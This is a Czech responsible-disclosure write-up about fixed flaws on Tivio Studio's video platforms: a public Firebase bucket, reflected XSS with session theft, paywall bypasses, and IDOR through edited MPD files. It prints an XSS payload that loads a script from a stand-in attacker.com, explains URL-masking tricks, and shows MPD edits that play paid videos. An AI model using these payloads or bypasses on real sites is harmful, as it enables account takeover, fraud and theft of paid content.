12. března 2026

V tomto write-upu budu popisovat základní, snadno objevitelné a zneužitelné chyby. O to je situace ve výsledku ještě závažnější, protože tyto chyby mohl zneužít prakticky kdokoliv. Stačilo například otevřít část URL adresy zobrazované v prohlížeči a uživatel následně získal přístup k tisícům videí mnoha tvůrců.

Chyby se týkaly společnosti Tivio Studio, jejíž služby využívají známé firmy a tvůrci nabízející svůj obsah prostřednictvím předplatného. Mezi jejich klienty patří například Oktagon, DVTV, U Kulatého stolu, Čestmír Strakatý nebo Ondřej Koběrský.

Nalezené zranitelnosti se převážně řešily od prosince 2024 do února 2025. Nejzávažnější z nich byla zneužitelná už od srpna 2024. Minimálně po dobu šesti měsíců tak bylo možné zdarma získat přístup nejen k placenému, ale dokonce i k nevydanému obsahu.

Teoreticky tak novinář nemusel čekat na oficiální vydání rozhovoru DVTV nebo Čestmíra Strakatého. Mohl si stáhnout neveřejné video, získat vyjádření a publikovat exkluzivní informace jako první. Běžný uživatel neměl důvod si platit oblíbené tvůrce na Patreonu nebo HeroHero – díky chybám Tivio Studio měl jejich obsah zcela zdarma.

Popis všech zranitelností je zpracován i formou videa:

Obsah:

• Klíčové informace
• Tivio Studio
• Nalezené zranitelnosti
• Videa: Možné způsoby zneužití
• Krádež uživatelské relace - Session Hijacking (XSS)
• Změna obsahu stránek: Falešná crowdfundingová kampaň (XSS)
• Změna obsahu stránek: Podvodná investiční platforma (XSS)
• Získání neveřejného dokumentu u Ondřeje Koběrského
• Přehrání libovolného videa ze Stargaze.com
• Přehrání libovolného videa z Oktagon.tv
• Doporučení pro:
• Uživatele
• Tvůrce
• Vývojáře
• Jak jsem postupoval
• Prvotní reporting bezpečnostních chyb
• Nové zranitelnosti a další frustrující nahlášení
• Závěr
• Časová osa a odměna

Klíčové informace

• Služby společnosti Tivio Studio využívají například DVTV, Oktagon, Garaz.tv, Čestmír Strakatý, U Kulatého stolu, Ondřej Koběrský a mnoho dalších tvůrců z jejich platformy Stargaze.com. Kromě toho také spravují web a videa pro VOD Starmax.tv obsahující desítky českých a zahraničních filmů.

• Jedna zranitelnost umožňovala spuštění vlastního javascriptového kódu (Reflected XSS), která mohla vést k získání uživatelských dat, k "dočasné" změně obsahu na stránce nebo třeba k používání cizího účtu (Session Hijacking). Útočník například mohl zobrazit zcela libovolný obsah na mnoha spravovaných Tivio doménách (např. dvtv.cz, komunita.ondrejkobersky.cz), který by použil k nějakému podvodu. Tento změněný obsah viděl vždy jen uživatel, který otevřel odkaz od útočníka (odkaz v reklamě, na sociálních sítích).

• Další nalezená chyba byla v chybném nastavení úložiště Firebase Storage obsahující videa Tivio klientů. Toto úložiště bylo nastaveno jako veřejné a jediné, co potřeboval uživatel znát, byla URL adresa. Ta byla přibližně dva týdny dostupná v DVTV RSS feedu pro všechny uživatele (předplatné nebylo nutné). Kromě toho byla také dostupná v prohlížeči po otevření části "Network". Toto úložiště bylo veřejně přístupné minimálně po dobu 6 měsíců. Každý, kdo odkaz znal, mohl během této doby zdarma stahovat placená videa i filmy.

• Na úložišti bylo zdarma ke stažení přes 16 000 videí v původním formátu (filmy 20-60 GB, videa od tvůrců 2-15 GB). Byl zde nejen již zveřejněný placený obsah, ale také videa plánovaná k vydání. Videa následně byla publikovaná obvykle v rozmezí několika desítek hodin až několika dnů, v některých případech dokonce i několika týdnů, čímž mohlo docházet k úniku neveřejných informací.

• Kromě Firebase Storage byl objeven i další způsob jak přehrát obsah bez předplatného. Chyba byla v MPD souborech, které se používají pro načítání videoobsahu. Změnou ID videa v těchto souborech šlo zdarma získat obsah z oktagon.tv, stargaze.com a starmax.tv. S použitím různých nástrojů byla možná tato videa i uložit.

• Dále šlo zdarma získat dokumenty, články nebo MP3 určené pro předplatitele. Jednalo se o materiály ke kurzům (Investiční průvodce od Vojty Žižky) nebo jiné dokumenty od tvůrců (např. akciový Google Sheets od Ondřeje Koběrského).

• Většina chyb byla jednoduše zneužitelná - obsah placených článků i odkaz na úložiště se zobrazoval všem návštěvníkům v prohlížeči (část "Network"). Po opravách jsem se od pár lidí na konferencích dozvěděl, že o několika chybách už dříve věděli a měli tak přístup k placenému obsahu.

• Všechny popisované chyby jsou již opraveny. Nejvíce kritická chyba byla opravena po dvou měsících od mého nahlášení (Firebase Storage).

Co zajímavého se mohou dozvědět lidé z oblasti IT security?

• Jak načíst externí skript v XSS payloadu bez použití dvojitých lomítek (//)
• URL spoofing u Reflected XSS – uživatel nevidí XSS payload v URL
• Maskování celého Reflected XSS odkazu na Instagramu
• IndexedDB: Další nezabezpečené úložiště v prohlížeči obsahující tokeny/session
• IDOR v MPD souborech: Zranitelnost v souborech načítající webové videopřehrávače

Vyjádření Ladislava Navrátila (CEO Tivio Studio):
Rád bych poděkoval Marku Tóthovi za jeho zodpovědný a důsledný přístup při upozornění na zranitelnost Tivio. Vážíme si práce etických hackerů. Pomáhají zvyšovat bezpečnost služeb, jako je ta naše. Jádro incidentu se týkalo přístupu k zálohám video souborů. Problém nebyl ignorován – reagovali jsme, a většinu nedostatků jsme odstranili do 24 hodin. Příčiny toho, že jsme zranitelnost neodstranili úplně hned po prvním oznámení, jsme důsledně zmapovali. Na základě této zkušenosti jsme upravili interní procesy i organizaci týmu, aby se podobná situace nemohla opakovat. Za vzniklou situaci se omlouváme.

Poznámka k vyjádření (M.Tóth): Je opravdu možné, že do 24 hodin byla většina chyb z prvního reportu opravena. Nemohu to potvrdit, o průběhu oprav jsem nebyl informován. Po několika dnech byly ale dvě ze tří nahlášených chyb stále na produkčním prostředí - k opravě došlo až po 2 měsících (Firebase Storage a v prohlížeči dostupné materiály k placenému kurzu).

Tivio Studio

Tivio Studio (https://www.tivio.studio) je česká společnost zaměřená na vývoj a správu video platforem pro organizace a tvůrce obsahu. Funguje na podobném principu jako Herohero nebo Patreon - tvůrce dodává obsah, Tivio Studio poskytuje platformu pro předplatitele. Na rozdíl od těchto služeb si však tvůrce nemůže jednoduše vytvořit vlastní profil.

K hlavním klientům patří internetová televize DVTV (dvtv.cz), pro kterou Tivio Studio zajišťuje kompletní správu webu i videoobsahu. Dalším příkladem je platforma Stargaze (stargaze.com), kde různí tvůrci nabízejí svůj obsah za předplatné (např. U Kulatého stolu, Ondřej Koběrský, Čestmír Strakatý). Někteří tvůrci pak mají obsah i na své dedikované doméně (garaz.tv, mirabosak.cz, ukulatehostolu.com, komunita.ondrejkobersky.cz). Tivio dále spravuje VOD platformu Starmax.tv s desítkami českých a zahraničních filmů nebo televize DVTV Extra a Kviff.tv Channel.

Kromě platformy pro tvůrce se Tivio Studio specializuje na livestreaming. Řeší například živé přenosy pro Oktagon, včetně implementace unikátních prvků a ochran proti sdílení live streamu.

Nalezené zranitelnosti

Veškeré zranitelnosti byly testovány se souhlasem jednatele společnosti Tivio Studio. Nešlo o žádný komplexní bezpečnostní test, jednalo se o vlastní iniciativu a byly ověřeny pouze náhodně vybrané webové části.

V období od prosince 2024 do února 2025 jsem celkem nahlásil 7 bezpečnostních chyb, z nichž 6 budu níže detailně popisovat.

Poznámka: Některé chyby byly objeveny už v srpnu 2024 (nejednalo se o aktivní hledání), ale z časových důvodů byly detailně analyzovány a reportovány až v prosinci 2024. I po těchto několika měsících byly chyby stále zneužitelné.

1) Veřejně přístupné soubory z Firebase úložiště
(Firebase Storage Misconfiguration – Unauthorized Public Access)

Tivio Studio mělo chybně nastavenou konfiguraci Firebase Storage a toto úložiště bylo nastaveno jako veřejné.

Po otevření odkazu https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/ se zobrazil seznam všech nahraných souborů a každý uživatel si mohl stáhnout cokoliv bez omezení.

Stažení souboru bylo možné spojením názvu (name) a přidáním ?alt=media&token=downloadTokens

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/<NAME>?alt=media&token=<DOWNLOAD_TOKENS>

Kde se získal token pro stažení? Stačilo jen otevřít URL se souborem.

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/<NAME>

Zde byly informace jako: název souboru (metadata-name), datum vytvoření a také i potřebný downloadTokens.

Zdroje odkazu na Firebase Storage
1) RSS feed - Odkaz na Firebase Storage byl přibližně 14 dnů (srpen–září 2024) uveden v RSS feedu pro podcastové aplikace a byl dostupný všem uživatelům, i těm bez předplatného. Každý uživatel tak mohl získat adresu úložiště.

2) Prohlížeč (DevTools/Network) - Další možností bylo získání odkazu přes nástroje pro vývojáře v prohlížeči.
Zcela celý odkaz na úložistě byl u několika videí (pozn.: na tento výskyt adresy jsem upozorněn bývalým kolegou Benjaminem Králem).

U většiny videí bylo uvedeno Google Cloud Storage schéma "gs://tivio-production-videos-input/xyz.mp4", čímž došlo k prozrazení používaného umístění (tzv. bucketu).

Především použitý název tivio-production-videos-input byl velmi podobný tomu, který se používá pro obrázky https://firebasestorage.googleapis.com/v0/b/tivio-production-input-admin/o/. Stačilo tak jen, aby uživatel nahradil tuto část a získal tím přístup k mnoha videím. Nebylo opět nutné žádné předplatné, jakýkoliv uživatel se k odkazu mohl dostat.

Chybnou konfigurací měl jakýkoliv uživatel přístup k více než 16 000 videím mnoha tvůrců.

Byla zde například videa od DVTV, Oktagonu, Garáž.tv, Čestmíra Strakatého, Vojty Žižky, Ondřeje Koběrského, U Kulatého stolu, filmy z VOD platformy Starmax a mnoho dalších. Dostupná byla také videa z placených kurzů (Investiční průvodce, LearnTube) a dokumenty určené pro předplatitele (DVTV Magazín v PDF).

Soubory byly v původním formátu (film 20-60 GB, video od tvůrce 2-15 GB), včetně metadat (uživatelské jméno v systému, umístění videa na disku a někdy i jméno autora/střihače).

Nejproblematičtější bylo, že přístupný nebyl pouze již zveřejněný obsah, ale také neveřejná nebo připravená videa k vydání.

Mohlo tak docházet k úniku citlivých informací (například neautorizované video, nefinální verze) nebo k získání cenných exkluzivních vyjádření (dosud nevydané rozhovory).

Při nahlášení této zranitelnosti 9. prosince 2024 jsem do reportu přiložil PDF dokument obsahující odkazy na videa, která ještě nebyla publikovaná.

První video z dokumentu bylo například nahráno na Firebase Storage 4. prosince 2024

Tento rozhovor byl veřejně dostupný až 11. ledna 2025. Uživatel s přístupem na Firebase Storage měl rozhovor k dispozici o více než měsíc dříve.

Tato chyba byla reportovaná 9.12.2024. K zablokování veřejného přístupu došlo 11.2.2025.
Přístupné úložiště bylo minimálně od srpna 2024 - minimálně po dobu 6 měsíců mohl někdo zdarma stahovat placená videa.

Faktory zvyšující dopad:

• Obsah mnoha placených tvůrců byl dostupný zdarma (velmi často tvůrci z Patreonu)
  → Vojta Žižka, U Kulatého stolu, Ondřej Koběrský...
• K dispozici desítky českých a zahraničních filmů ve Full HD nebo 4K kvalitě
• Celé Oktagon přenosy ke stažení (včetně verzí v různých jazycích)
• Možnost získat i videa placených kurzů (Investiční průvodce, LearnTube)
• Získání neveřejného nebo ještě dosud nevydaného obsahu
• Soubory v původním formátu, včetně metadat
  → jméno autora videa, uživatelské jméno v OS, použitý software na střih...
• Šlo ušetřit minimálně 50 000 Kč ročně za placený obsah (zpoplatněné filmy nebyly započítány)

Hodnocení: CRITICAL

Jakých tvůrců se chyba týkala?
Tvůrci a projekty s placeným obsahem:
Aust - 199 Kč/měsíc
Čestmír Strakatý - 159 Kč/měsíc
DVTV - 199 Kč/měsíc
DVTV SK (PubliQ) - 4.95 €/měsíc
Garáž.tv - 2.99 €/měsíc
Horáček: Jak žít lepší život - 499 Kč/rok
Jaromír Bosák (Ušák) - 149 Kč/měsíc
Láska krok za krokem - 599 Kč/rok
Liga naruby - 149 Kč/měsíc
Máte na víc, než si myslíte - 149 Kč/měsíc
Oktagon.TV - 74 Kč/měsíc, 319 Kč/celý přenos
Ondřej Koběrský - 4497 Kč/3 měsíce
Pastoral Brothers - 99 Kč/měsíc
Přelomové zločiny: Devadesátky - 549 Kč/rok
Přepište dějiny - 999 Kč/rok
Přepište dějiny: Prezidenti - 599 Kč/rok
Real Talk - 149 Kč/měsíc
Reportérky - 188 Kč/měsíc
Šifra TV - 4.99 €/měsíc
Týden Horoskopu - 49 Kč/měsíc
U Kulatého stolu - 249 Kč/měsíc
Vojta Žižka - 230 Kč/měsíc
Zimák - 119 Kč/měsíc
360ka - 6.9 €/měsíc

Kurzy:
Investicnipruvodce.cz (Jak správně investovat do nemovitostí) - 2990 Kč
Investicnipruvodce.cz (Jak začít s investováním) - 1790 Kč
LearnTube (Matematika) - 1690 Kč/rok
LearnTube (Český jazyk) - 1690 Kč/rok

VOD:
Starmax.tv - předplatné 99 Kč/měsíc, prémiové filmy 69-79 Kč/film

Televize:
DVTV Extra
Kviff.tv Channel

2) Reflected XSS - Session Hijacking

Na mnoha stránkách používajících řešení od Tivio Studio byl chybně ošetřen parametr to, který se používal na stránkách /redirect pro přesměrování uživatele (example.com/redirect?to=/screens/home).

Do parametru to bylo možné vložit vlastní javascriptový script pomocí javascript:alert(1), který se po otevření URL vykonal.

Základní zranitelný odkaz:

example.com/redirect?to=javascript:alert(1)

Kvůli absenci hlavičky Content-Security-Policy bylo možné načítat i externí skript. Nebylo však možné použít dvojitá lomítka při načítání zdroje (např. s.src=//example.com) a musel se proto použít zápis pomocí String.fromCharCode().

s.src=//attacker.com => s.src=String.fromCharCode(47,47)%2B`attacker.com`

Výsledná XSS url načítající externí script:

example.com/redirect?to=javascript:d=document;s=d.createElement(`script`);s.src=String.fromCharCode(47,47)%2B`attacker.com`;d.body.appendChild(s);

Celou XSS část šlo v adresním řádku schovat a zobrazit zde zcela jinou URL cestu pomocí následujícího kódu:

history.replaceState(null, '', '/jen-pro-zvane');

Použitím tohoto kódu by uživatel viděl jen https://example.com/jen-pro-zvane. Oběť by tak neviděla žádnou dlouhou URL a nemusela by si útoku vůbec všimnout (resp. použití Reflected XSS zranitelnosti). Tento tip jsem dostal po přednášce na ČVUT od Jáchyma Netresty.

U přihlášených uživatelů, kteří otevřeli odkaz zaslaný útočníkem, mohlo dojít k úniku jména a příjmení, e-mailu a RSS adresy obsahující materiály určené pro předplatitele.

Kromě těchto informací mohl útočník dále ukrást session přihlášeného uživatele (Session Hijacking), protože na spravovaných stránkách se používá Firebase Authentication. Řešení ukládá accessToken a refreshToken do nezabezpečeného umístění v prohlížeči (do IndexedDB) a tyto tokeny lze vyčíst pomocí javascriptu = pomocí XSS.

Pokud uživatel neprovedl manuální odhlášení, mohl mít útočník dlouhodobý přístup k jeho účtu, především přístup k předplatnému a k nově vygenerovaným RSS odkazům.

Zranitelnost dále umožňovala změnit obsah webové stránky, přičemž úprava byla opět viditelná pouze pro uživatele, který otevřel odkaz zaslaný útočníkem (např. otevření reklamy, otevření odkazu na sociálních sítích).

Změna obsahu je standardní dopad XSS zranitelnosti, ale v případě Tivio Studio mohla být chyba použita na různé podvody. Upravený obsah se totiž mohl zobrazit přímo na doménách klientů, čímž by podvod mohl získat na důvěryhodnosti (dvtv.cz, ukulatehostolu.com, hoste.vojtazizka.cz atd.). Mohlo tak například dojít k vytvoření falešné crowdfundingové kampaně nebo třeba k vytvoření falešné investiční platformy. Stačilo pak jen otevřít odkaz směřující na důvěryhodnou doménu a uživatel by nevědomky viděl podvodný obsah. Jednalo by se pak o podvod typu social engineering, ale pravděpodobně s velkou úspěšností - uživatel otevírá legitimní doménu.

Jedním kliknutím na stránce mohlo také dojít k získání uloženého údaje ze správce hesel: jméno, adresa, údaje k platební kartě, uložený přihlašovací údaj. V daném období totiž byly nejpoužívanější prohlížečové správci hesel zranitelní (více informací o tomto útoku v DOM-based Extension Clickjacking).

Ukázky možného zneužití ve formě videa jsou v sekci níže.

Faktory zvyšující dopad:

• XSS zranitelnost byla na mnoha doménách současně (ukulatehostolu.com, komunita.ondrejkobersky.cz...)
• Změna obsahu stránek u známých tvůrců/společností
  → z pohledu útočníka velké možnosti podvodů
• Získání placeného obsahu u uživatele s platným předplatným
• Chybějící hlavička Content-Security-Policy
• Možnost URL spoofingu pro zamaskování XSS payloadu v adrese přes history.replaceState()

Faktory snižující dopad:

• Uživatel se musel nějakým způsobem dostat na odkaz od útočníka
  → příspěvek na sociálních sítích, falešná reklama, přesměrování z cizí nebo důvěryhodné stránky

Hodnocení: HIGH

Jakých tvůrců se chyba týkala?
DVTV - dvtv.cz (img)
DVTV SK - dvtv.sk
JOJ Play - play.joj.sk (img)
Stargaze - stargaze.com (img)
U Kulatého stolu - ukulatehostolu.com (img)
Ondřej Koběrský - komunita.ondrejkobersky.cz (img)
Vojta Žižka - hoste.vojtazizka.cz, investicnipruvodce.cz (img, img)
Liga naruby - liganaruby.cz
Garaz TV - garaz.tv
Jaromír Bosák - mirabosak.cz
(u dalších tvůrců nedošlo z mé strany k ověření)

3) Přístup k materiálům placeného kurzu
(Firebase Firestore: Broken Access Control)

Na doméně investicnipruvodce.cz se při běžném načtení stránky na pozadí odesílal požadavek na adresu https://firestore.googleapis.com/google.firestore.v1.Firestore/Listen/channel?gsessionid=dU…

Odpověď tohoto požadavku obsahovala informace o zaplaceném kurzu, včetně odkazu na materiály.

„Děkujeme, že jste zakoupili kurz Jak správně investovat do nemovitostí? Společně s plným přístupem k celé sérii videí o investování do nemovitostí získáváte také přístup k podkladům…“.

Výše je screenshot z Burp Suite, k získání odkazu však stačilo jen v prohlížeči otevřít Developer Tools → Network.

Uživatel mohl zdarma získat odkaz na materiály (Google Docs), které patřily projektu Investiční průvodce od Vojty Žižky. Dokumenty obsahovaly telefonní kontakty na hypoteční specialisty a další důležité odkazy.

Projekt nabízel dva placené kurzy: Jak začít s investováním? (1 790 Kč) a Jak správně investovat do nemovitostí? (2 990 Kč). U obou bylo možné materiály získat zdarma.

Hodnocení: Medium-HIGH
Materiály obsahovaly důležité kontakty na specialisty spolupracující s kurzem. Chyba byla i snadno zneužitelná. V době nahlášení jsem nenašel, že by Tivio Studio mělo i jiné podobné kurzy, takže to hodnotím jako "vyšší" Medium, jelikož byl dopad jen na kurzy v rámci "Investičního průvodce".

Jakých tvůrců se chyba týkala?
Vojta Žižka - investicnipruvodce.cz

4) Přístup ke všem zpoplatněným článkům
(Cloud Functions Endpoint: Broken Access Control)

Na stránkách spravovaných Tivio Studio se odesílal požadavek https://europe-west3-tivioproduction.cloudfunctions.net/getRowsInScreen3.

V odpovědích těchto požadavků byly informace, které měly být pouze pro předplatitele. Níže jsou například ukázky pro weby hoste.vojtazizka.cz a komunita.ondrejkobersky.cz.

Principiálně šlo o stejnou chybu jako v předchozím případě, s tím rozdílem, že zde se jednalo o obecný typ chyby a jinou URL. Chyba se tak týkala všech tvůrců využívajících články pro předplatitele.

Na všech stránkách využívajících řešení od Tivio Studio bylo možné získat obsah zpoplatněných článků bez předplatného. Stačilo jen otevřít Developer Tools-Network a získat odpověď u požadavku getRowsInScreen3.

Například u Ondřeje Koběrského bylo možné získat odkaz na akciový Google Spreadsheet, včetně komentářů a doporučených cen k nákupu. Předplatné u Ondřeje Koběrského běžně stojí 4 497 Kč na 3 měsíce a odkazy na materiály mají velkou informační hodnotu – ne vše je zpracováno formou videa.

Hodnocení: HIGH

Jakých tvůrců se chyba týkala?
Vojta Žižka (hoste.vojtazizka.cz) - doporučení od hostů v podcastu
Ondřej Koběrský (komunita.ondrejkobersky.cz) - investiční doporučení a portfolia
(Případně i další tvůrci, pokud nabízeli články či příspěvky určené pro předplatitele.)

5) MPD BaseURL Manipulation (IDOR)

Při přehrávání obsahu na platformách Tivio Studio dochází k načtení MPD souboru, který následně načítá video ze serveru. Tento MPD soubor bylo možné stáhnout a upravit tak, že se zdarma přehrávala zpoplatněná videa.

Úpravou se rozumí přidání tagu <BaseURL> a definování URL, ze které se má obsah načítat. Tuto adresu bylo možné dohledat v Developer Tools při přehrávání libovolného videa. Pro spuštění jiného videa jen stačilo změnit ID v MPD souboru.

index.mpd před úpravou:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<MPD minBufferTime="PT1.5S" mediaPresentationDuration="PT55M23.2S" profiles="urn:mpeg:dash:profile:isoff-live:2011" type="static" xmlns="urn:mpeg:dash:schema:mpd:2011">
  <UTCTiming schemeIdUri="urn:mpeg:dash:utc:http-head:2014" value="https://streaming.tivio.studio/utils/utc"/>
  <Period id="0" duration="PT55M23.2S" start="PT0S">
    <AdaptationSet bitstreamSwitching="true" contentType="video" id="0" segmentAlignment="true">
      <Representation bandwidth="5000000" codecs="avc1.4D4028" frameRate="25" height="1080" id="1080" mimeType="video/mp4" width="1920">
        <BaseURL>./v1080/</BaseURL>
        <SegmentList duration="49152" timescale="12800">
          <Initialization sourceURL="init.mp4"/>
          <SegmentURL media="1.m4s"/>
          <SegmentURL media="2.m4s"/>
          <SegmentURL media="3.m4s"/>
          <SegmentURL media="4.m4s"/>
          ...

index.mpd po úpravě:
Došlo k přidání celé URL v BaseURL a úpravě ID videa/tvůrce. Celá URL musela být definována, protože po stažení MPD souboru se soubor již nenachází na serveru a přehrávač videí (např. VLC) by nevěděl, odkud má získat zdrojové video.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<MPD minBufferTime="PT1.5S" mediaPresentationDuration="PT55M23.2S" profiles="urn:mpeg:dash:profile:isoff-live:2011" type="static" xmlns="urn:mpeg:dash:schema:mpd:2011">
  <UTCTiming schemeIdUri="urn:mpeg:dash:utc:http-head:2014" value="https://streaming.tivio.studio/utils/utc"/>
  <Period id="0" duration="PT55M23.2S" start="PT0S">
    <AdaptationSet bitstreamSwitching="true" contentType="video" id="0" segmentAlignment="true">
      <Representation bandwidth="5000000" codecs="avc1.4D4028" frameRate="25" height="1080" id="1080" mimeType="video/mp4" width="1920">
        <BaseURL>https://ondemand.streaming.tivio.studio/v2/ID_VIDEA/ID_TVURCE/42069/v1080/</BaseURL>
        <SegmentList duration="49152" timescale="12800">
          <Initialization sourceURL="init.mp4"/>
          <SegmentURL media="1.m4s"/>
          <SegmentURL media="2.m4s"/>
          <SegmentURL media="3.m4s"/>
          <SegmentURL media="4.m4s"/>
          ...
          <SegmentURL media="4000.m4s"/>

Tivio Studio používalo dva formáty MPD souborů. U obou byl totožný typ zranitelnosti.

Pokud bylo potřeba, tak se v MPD souboru ještě změnila délka přehrávaného videa přidáním několika
<SegmentURL media="X.m4s"/>

ID videa i tvůrce je jednoduše dohledatelné přes Developer Tools v prohlížeči. Zobrazuje se jak v consoli, tak i v "Elements".

U MPD souboru se ke každé audio a video části přidalo BaseURL:

<BaseURL>https://ondemand.streaming.tivio.studio/videos/ID_VIDEA/ID_TVURCE/42069/v1080/</BaseURL>

Po změně hodnot (ID_VIDEA / ID_TVURCE) v URL bylo možné přehrát definované video. U těchto MPD souborů tedy zcela chybělo ověření, zda má uživatel předplatné.

Uživatel si mohl přehrát libovolný obsah z Oktagon.tv, Stargaze.com nebo z VOD platformy Starmax.tv. Videa bylo možné primárně přehrát, ale s využitím nástrojů jako ffmpeg nebo yt-dlp bylo možné je i uložit.

Tímto způsobem získal uživatel opět přístup k placenému obsahu zcela zdarma.

Faktory zvyšující dopad:

• Obsah mnoha placených tvůrců zdarma (velmi často tvůrci z Patreonu)
  → Vojta Žižka, U Kulatého stolu, Ondřej Koběrský...
• K dispozici desítky českých a zahraničních filmů
• Možnost uložení videa přes ffmpeg/yt-dlp
• V některých případech šlo získat neveřejný obsah pár hodin před zveřejněním
  → útočník vyhledal tvůrce, který naplánoval vydání videa a již běžel odpočet = získal ID videa

Faktory snižující dopad:

• Nebylo možné získat obsah z DVTV
• Nešlo získat neveřejné video dlouho před zveřejněním

Hodnocení: CRITICAL

Jakých tvůrců se chyba týkala?
Stargaze (stargaze.com) - U Kulatého stolu, Ondřej Koběrský, Čestmír Strakatý, Garaz.tv a ostatní
Starmax (starmax.tv) - Desítky českých a zahraničních filmů
Oktagon (oktagon.tv) - Zápasy dostupné jen pro předplatitele po skončení turnaje

6) Přístupné MP3 rozhovory
(Unauthenticated MP3 URL - IDOR)

Tivio Studio používalo odkazy na MP3 rozhovory bez kontroly předplatného.

Každý, kdo otevřel RSS adresu určenou pro podcastové aplikace zde uviděl odkaz na MP3 rozhovor (předplatné nebylo nutné). Otevřením odkazu došlo k přesměrování na nezabezpečenou URL, která nevyžadovala ověření.

https://api.tiv.io/getRssSource?token=eyJhbGciOiJSUzI1…
302 Found ->
https://ondemand.streaming.tivio.studio/v2/<VIDEO_ID>/qdJUFkdjiuApXuHnhjlL/mp3/192/en.mp3
302 Found ->
https://r2-videos-test.tivio.studio/<VIDEO_ID>/qdJUFkdjiuApXuHnhjlL/mp3/a192/en.mp3

Pro získání celého DVTV rozhovoru ve formátu mp3 tak stačilo znát jeden z posledních dvou odkazů a jen změnit VIDEO_ID.

Poznámka: Na tuto chybu jsem byl upozorněn bývalým kolegou Benjaminem Králem.

Každý uživatel mohl pouhou změnou ID v odkaze získat přístup k celému rozhovoru zcela zdarma. Uživatel tak nebyl nucen si předplácet obsah na DVTV.

Hodnocení: HIGH

Jakých tvůrců se chyba týkala?
DVTV (dvtv.cz)

Videa: Možné způsoby zneužití

Krádež uživatelské relace - Session Hijacking (XSS)

Tivio Studio používá na svých stránkách Firebase Authentication, které ukládá hodnoty do IndexedDB, včetně session uživatele. Obsah IndexedDB není nijak chráněn proti čtení pomocí javascriptu a tak použitím XSS bylo možné získat uživatelskou session.

Celý postup, včetně skriptu pro získání dat z IndexedDB je popsán níže.

Změna obsahu stránek - Falešná crowdfundingová kampaň (XSS)

Útočník mohl pomocí XSS zranitelnosti změnit obsah na mnoha spravovaných stránkách. Níže je uveden příklad pro DVTV, avšak zranitelnost bylo možné zneužít i na dalších spravovaných doménách. Seznam domén je v části Reflected XSS - Session Hijacking.

Útočník pomocí javascriptu pozměnil obsah na nezabezpečené XSS stránce a zobrazil zcela vlastní crowdfundingovou kampaň, kterou mohl využít například k podvodným účelům.

Změna obsahu stránek - Podvodná investiční platforma (XSS)

Podobně jako u předchozího příkladu, i zde je příklad s vykreslením vlastního obsahu na stránkách s XSS zranitelností. V tomto případě je uveden příklad zneužití, kdy útočník zobrazuje uživateli podvodnou investiční platformu na důvěryhodné doméně. Odkaz byl uložený opět v Instagram Stories.

Ve videu si můžete všimnout, že odkaz ve stories vede na https://www.dvtv.cz/nova-investicni-platforma/po…

XSS bylo na https://www.dvtv.cz/redirect?to=javascript:alert(1). Jak je možné, že je zde jiná URL?

Není jiná, vede stále na XSS URL, jen došlo k uložení této URL:

https://www.dvtv.cz/nova-investicni-platforma/pouze-pro-zvane/../../redirect?to=javascript%3Ad%3Ddocument%3Bs%3Dd.createElement%28%60script%60%29%3Bs.src%3DString.fromCharCode%2847%2C47%29%252B%60attacker.com%60%3Bd.body.appendChild%28s%29%3B

Použitím ../../ dojde v prohlížeči k nahrazení předcházející části (nova-investicni-platforma/pouze-pro-zvane/), takže tam mohlo být uvedeno úplně cokoliv. Otevřením odkazu následně dojde k přesměrování rovnou na cílovou adresu:

https://www.dvtv.cz/redirect?to=javascript%3Ad%3Ddocument%3Bs%3Dd.createElement%28%60script%60%29%3Bs.src%3DString.fromCharCode%2847%2C47%29%252B%60attacker.com%60%3Bd.body.appendChild%28s%29%3B

Útočníci tak mohou využívat různých technik k zamaskování zranitelné URL. Přeci jen odkaz "https://example.cz/nova-investicni-platforma/po…" bude mít pravděpodobně více prokliků než pouhý "https://example.cz/redirect?to=javascript%3Ad%3Ddocument%3Bs%3Dd.createElement%28%60script...".

Získání neveřejného dokumentu u Ondřeje Koběrského

Níže je nahrané video chyby, kdy v prohlížeči docházelo k zobrazení obsahu placených článků/příspěvků. V jednom příspěvku byl i neveřejný odkaz na Google Dokument s popisem akcií.

Přehrání libovolného videa ze Stargaze.com

Ve videu níže je celý proces úpravy MPD souboru. Video začíná stažením MPD souboru u videa Čestmíra Strakatého, které je zdarma k dispozici. Následně dochází k úpravě délky videa (ostatní videa by pak měla jen 28 min) a pak ke změnám ID videa z platformy Stargaze.com.

Dojde k přehrání placeného videa u Ondřeje Koběrského a U Kulatého stolu.

Přehrání libovolného videa z Oktagon.tv

V tomto příkladě je použitý zcela stejný způsob jako u Stargaze, jen s tím rozdílem, že dojde k přehrání videí z Oktagon.tv.

Doporučení pro uživatele

S rychlým rozvojem AI se vše mění a mění se i oblast kyberbezpečnosti. AI nástroje pro hledání zranitelností dosahují výrazně lepších výsledků než tradiční skenovací nástroje. Pro útočníky je tak vše rychlejší a dostupnější. S pomocí AI agentů mohou skenovat webové aplikace nepřetržitě a ve velkém měřítku.

Důvěryhodná doména ≠ bezpečný obsah

Uživatelé jsou dnes zvyklí neklikat na podezřelé domény. Útočníci to vědí, a proto dnes mohou cílit i jinak. Zranitelnosti typu XSS umožňují zobrazit podvodný obsah přímo na důvěryhodné doméně. Jde o jednu z nejběžnějších webových chyb a nalézt ji není nic výjimečného. Útočník najde pomocí AI nástroje tuto zranitelnost, připraví podvodný obsah a spustí placenou reklamu na sociálních sítích. Vše přesně tak, jak to dělal doteď. Uživatel uvidí reklamu odkazující na známou důvěryhodnou stránku a nemusí mít strach odkaz otevřít...

Před zadáním citlivých informací proto doporučuji:

Obnovení stránky (F5)
• Pokud byla na stránce zranitelnost typu Reflected XSS, mohlo dojít k zamaskování adresy pomocí URL spoofingu. Obnovení stránky načte znovu URL z adresního řádku – u podvodu by se po obnovení nezobrazila stejná stránka (pravděpodobně 404 Not Found)

Kontrola URL adresy
• Doporučuji kontrolu adresního řádku na výskyt podezřelých výrazů jako: javascript:, script, <, >, (, ), , %28, %29
• U velmi dlouhé adresy bych zkusil smazat vše za symbolem "?" - odstranění všech parametrů
• Pokud uložený odkaz obsahuje /../ nebo %2F..%2F, může jít o pokus o maskování skutečné URL
→ V souhrnu, pokud URL adresa obsahuje mnoho znaků % nebo neobvyklé kombinace písmen a čísel, je dobré být velmi obezřetný

